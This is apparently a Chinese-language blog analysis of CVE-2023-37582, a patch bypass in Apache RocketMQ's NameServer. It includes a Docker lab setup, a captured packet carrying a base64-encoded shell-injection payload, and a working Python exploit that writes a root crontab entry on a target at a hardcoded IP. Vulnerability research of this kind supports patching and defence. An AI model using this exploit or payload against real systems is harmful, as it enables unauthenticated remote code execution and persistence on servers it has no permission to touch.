CVE-2023-37582 Apache RocketMQ RCE 漏洞分析
Drunkbaby Lv6

CVE-2023-37582 漏洞分析

调试端口

10011 broker
10012 namsrv

漏洞描述

RocketMQ 是一个开源的分布式消息中间件,NameServer 为 Producer 和 Consumer 节点提供路由信息的组件。

由于 CVE-2023-33246 的补丁中并未对 DefaultRequestProcessor#updateConfig 方法中的 configStorePath 属性值进行过滤,当 NameServer 地址暴露在公网并且缺乏权限校验,未经授权的攻击者可 payload 注入到 configStorePath 中,调用 NameServer 的更新配置函数将恶意文件上传到 RocketMQ 服务器中实现远程代码执行。

漏洞影响版本

Apache RocketMQ <= 5.1.1
Apache RocketMQ <= 4.9.6

环境搭建

先 wget 需要的东西

1
wget https://archive.apache.org/dist/rocketmq/5.1.1/rocketmq-all-5.1.1-bin-release.zip

然后 Dockerfile

1
2
3
4
5
6
7
8
9
10
FROM openjdk:8u342-jdk

RUN sed -i 's/deb.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list && \
apt update && \
apt install vim netcat iputils-ping net-tools cron -y && \
wget https://mirrors.tuna.tsinghua.edu.cn/apache/rocketmq/5.1.1/rocketmq-all-5.1.1-bin-release.zip && \
unzip rocketmq-all-5.1.1-bin-release.zip

WORKDIR /rocketmq-all-5.1.1-bin-release/bin/

docker-compose.yml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
version: '2'

services:
namesrv:
build: .
container_name: rmqnamesrv
ports:
- 9876:9876
- 10012:10010
environment:
- JAVA_OPT_EXT=-Xms1g -Xmx1g -Xmn512m
- JAVA_OPT=-Xdebug -Xrunjdwp:transport=dt_socket,address=10010,server=y,suspend=n
command: sh mqnamesrv

broker:
build: .
container_name: rmqbroker
ports:
- 10909:10909
- 10911:10911
- 10912:10912
- 10011:10010
environment:
- JAVA_OPT_EXT=-Xms1g -Xmx1g -Xmn512m
- JAVA_OPT=-Xdebug -Xrunjdwp:transport=dt_socket,address=10010,server=y,suspend=n
command: sh mqbroker -n namesrv:9876 -c ../conf/broker.conf
depends_on:
- namesrv

dashboard:
image: apacherocketmq/rocketmq-dashboard
container_name: rmqdashboard
restart: always
ports:
- 8080:8080
environment:
JAVA_OPTS: "-Drocketmq.namesrv.addr=namesrv:9876"
depends_on:
- namesrv

test:
build: .
container_name: rmq_test
environment:
- JAVA_OPT_EXT=-Xms1g -Xmx1g -Xmn512m
command: tail -f

其实这里用之前 CVE-2023-33246 的环境也可以,但是最好是用 4.x 的,下载环境需要一段时间

漏洞复现与分析

这个漏洞本质上是 CVE-2023-33246 的补丁绕过,或者也可以说根本没有做什么防护,先来看 diff

https://github.com/apache/rocketmq/commit/fb1c67d536c95ec7bd5904e61b9d97c4c2ee5a3d

很简单的 diff,只是把 configStorePathName 改成了 configStorePath

上一次在分析 CVE-2023-33246 的时候,我抓过一个流量包,其中的内容就是在 CVE-2023-33246 中的 rocketmq 协议。

拿其中的一段 TCP 流量出来说

1
2
3
4
5
6
7
8
{"code":25,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":401}filterServerNums=1
rocketmqHome=-c {echo,dG91Y2ggL3RtcC9mbGFn}|{base64,-d}|bash -c

{"code":0,"flag":1,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":435}

{"code":26,"flag":0,"language":"JAVA","opaque":4,"serializeTypeCurrentRPC":"JSON","version":401}

{"code":0,"extFields":{"version":"{\"counter\":1,\"stateVersion\":0,\"timestamp\":1689312950437}"},"flag":1,"language":"JAVA","opaque":4,"serializeTypeCurrentRPC":"JSON","version":435}

很显然,目前提取出来的部分应该是 TCP 请求中的一段参数,下个断点分析一下这一段通信过程

通信过程分析

1
...c..._{"code":0,"flag":1,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":435}...d...

协议主要包含四部分 协议总长度+ json 长度+ json + body,前后两段的 c、d 对应的是 ascii 码

在这一段 json 数据包当中,比较引人注目的是 "code":25,不同的 code 代表了不同的业务,根据数据包当中的 code 字段,程序会进行不同的业务处理,处理业务在 org.apache.rocketmq.broker.processor.AdminBrokerProcessor#processRequest 方法中

其中代码块 case RequestCode.UPDATEE_BROKER_CONFIG 提到一个类 RequestCode,后续会用到

跟进 this.updateBrokerConfig() 方法,方法中先将 body 字段的值提取出来,封装进 Properties 类当中,封装完的结果如图

往下,跟进 this.brokerController.getConfiguration().update() 方法,到第 187 行,循环遍历所有的配置,并根据对应类,更新配置

可以看到,经过这一步之后,里面的值已经是被更新了

程序接着调用 persist() 方法, persist() 方法做的业务其实是将 configObjectList 写入进对应的配置文件当中。

很清晰的是,程序会将配置写入到两个文件中,分别是 filenamefilename.bak,其中 filename 的值对应的是 configStorePath,也是 CVE-2023-33246 的黑名单字段

在整段程序执行结束后可以发现 ../conf/broker.conf 的内容改变了,且 rocketHome 已经被修改为了我们的输入

构造 EXP

既然可以对文件进行修改与写入,根据漏洞描述,修改存储路径为计划任务路径写入 crontab 造成 RCE 即可,因为要写入 crontab,所以涉及到权限问题,其中初始化的 kvConfigPath、configStorePath 带有当前用户,而 kvConfigPath 处于黑名单中,configStorePath 还未被过滤

且攻击目标为 namesrv,brokerConfigPath 是用于存储 broker 组件对应的配置文件的,在 V 5.1.1 当中,brokerConfigPath 是 broker 组件的黑名单

至此就可以构造出 EXP 来写入定时任务 RCE

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import socket
import binascii
client = socket.socket()
# you ip
client.connect(('124.222.21.138',9876))
# data
json = '{"code":318,"extFields":{"test":"RockedtMQ"},"flag":0,"language":"JAVA","opaque":266,"serializeTypeCurrentRPC":"JSON","version":435}'.encode('utf-8')
body='configStorePath=/var/spool/cron/crontabs/root\nbrokerConfigPath=/var/spool/cron/crontabs/root\nbindAddress=0.0.0.0\\n*/1 * * * * touch /tmp/success'.encode('utf-8')
json_lens = int(len(binascii.hexlify(json).decode('utf-8'))/2)
head1 = '00000000'+str(hex(json_lens))[2:]
print(head1)
all_lens = int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens)
head2 = '00000000'+str(hex(all_lens))[2:]
print(head2)
data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8')
# send
client.send(bytes.fromhex(data))
data_recv = client.recv(1024)
print(data_recv)
 评论